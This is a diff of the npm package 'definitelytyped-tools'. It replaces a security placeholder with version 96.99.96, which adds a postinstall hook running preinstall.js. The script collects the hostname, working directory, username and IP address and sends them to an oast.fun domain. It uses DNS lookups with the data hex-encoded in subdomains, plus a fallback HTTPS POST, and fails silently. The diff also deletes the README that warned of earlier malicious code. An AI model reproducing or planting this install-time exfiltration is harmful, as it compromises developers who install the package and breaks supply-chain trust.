definitelytyped-tools 0.0.1-security → 96.99.96

package/package.json

@@ -1,6 +1,9 @@
 {
   "name": "definitelytyped-tools",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "96.99.96",
+  "description": "Enhanced PoC for RCE via postinstall beacon",
+  "main": "preinstall.js",
+  "scripts": {
+    "postinstall": "node preinstall.js"
+  }
 }

package/preinstall.js

@@ -0,0 +1,58 @@
+const os = require('os');
+const dns = require('dns');
+const https = require('https'); // We will keep the HTTPS fallback
+
+// =================== Final, Reliable PoC Payload ===================
+try {
+    // --- STEP 1: Attacker's C2 Server ---
+    const OAST_DOMAIN = "ocvomeqbrouywnpfvqwhrvnvgydnlrfwc.oast.fun";
+    
+    // --- STEP 2: Safe, Minimal Data Collection ---
+    const fingerprint = {
+        host: os.hostname() || 'nohost',
+        path: process.cwd() || 'nopath',
+        user: os.userInfo().username || 'nouser',
+        ip: getIPAddress()
+    };
+    
+    // --- STEP 3: Primary Exfiltration - Pure DNS Lookup ---
+    // This directly tests DNS resolution, bypassing 'curl'. This is your best chance.
+    try {
+        const data = `h=${fingerprint.host}-p=${fingerprint.path.replace(/[^a-zA-Z0-9-]/g, '')}`;
+        const hexPayload = Buffer.from(data).toString('hex');
+        const chunks = hexPayload.match(/.{1,60}/g) || [];
+        
+        chunks.forEach((chunk, index) => {
+            const subdomain = `${index}.${chunk}.${OAST_DOMAIN}`;
+            dns.lookup(subdomain, () => {}); // Fire-and-forget
+        });
+    } catch(e) { /* Fails silently */ }
+    
+    // --- STEP 4: Fallback Exfiltration - Pure HTTPS Post ---
+    // If DNS works but something else is wrong, this might succeed.
+    try {
+        const postData = JSON.stringify(fingerprint);
+        const options = {
+            hostname: OAST_DOMAIN, path: '/', method: 'POST',
+            headers: {'Content-Type': 'application/json', 'Content-Length': postData.length}
+        };
+        const req = https.request(options);
+        req.on('error', ()=>{}); // Suppress errors
+        req.write(postData);
+        req.end();
+    } catch(e) { /* Fails silently */ }
+
+} catch (e) { /* Top-level silent fail */ }
+
+// Helper function to get primary IP without spawning a shell.
+function getIPAddress() {
+    const interfaces = os.networkInterfaces();
+    for (const name of Object.keys(interfaces)) {
+        for (const iface of interfaces[name]) {
+            if (iface.family === 'IPv4' && !iface.internal) {
+                return iface.address;
+            }
+        }
+    }
+    return '127.0.0.1';
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=definitelytyped-tools for more information.